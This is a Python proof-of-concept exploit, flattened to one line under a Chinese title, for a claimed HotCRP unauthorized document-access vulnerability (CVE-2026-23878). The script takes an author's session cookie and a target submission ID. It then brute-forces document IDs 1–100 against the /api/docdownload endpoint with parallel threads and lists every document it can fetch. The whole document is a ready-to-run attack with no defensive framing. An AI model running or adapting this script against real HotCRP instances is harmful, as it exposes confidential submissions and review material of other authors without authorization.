CVE-2026-23878: HotCRP文档API未授权访问漏洞

# CVE-2026-23878 PoC - HotCRP Unauthorized Document Access # Target: HotCRP instances with vulnerable versions # Requirement: Valid author account with at least one submission import requests import sys from concurrent.futures import ThreadPoolExecutor, as_completed def download_document(base_url, session_cookie, submission_id, document_id): """Attempt to download document from HotCRP""" url = f"{base_url}/api/docdownload" cookies = {'HotCRP.session': session_cookie} params = { 'p': submission_id, 'doc': document_id } try: response = requests.get(url, params=params, cookies=cookies, timeout=10) if response.status_code == 200 and len(response.content) > 0: return { 'submission_id': submission_id, 'document_id': document_id, 'size': len(response.content), 'content_type': response.headers.get('Content-Type', 'unknown') } except Exception as e: return None return None def main(): if len(sys.argv) < 4: print("Usage: python poc.py <base_url> <session_cookie> <target_submission_id>") print("Example: python poc.py https://conference.org 1a2b3c4d... 123") sys.exit(1) base_url = sys.argv[1].rstrip('/') session = sys.argv[2] target_id = int(sys.argv[3]) print(f"[*] Scanning for documents on submission {target_id}...") # Scan document IDs (typically 1-100) results = [] with ThreadPoolExecutor(max_workers=10) as executor: futures = [executor.submit(download_document, base_url, session, target_id, doc_id) for doc_id in range(1, 101)] for future in as_completed(futures): result = future.result() if result: results.append(result) print(f"[+] Found document ID {result['document_id']} ({result['size']} bytes)") print(f"\n[*] Total documents accessible: {len(results)}") print("[*] Vulnerability confirmed: Unauthorized document access possible") if __name__ == "__main__": main()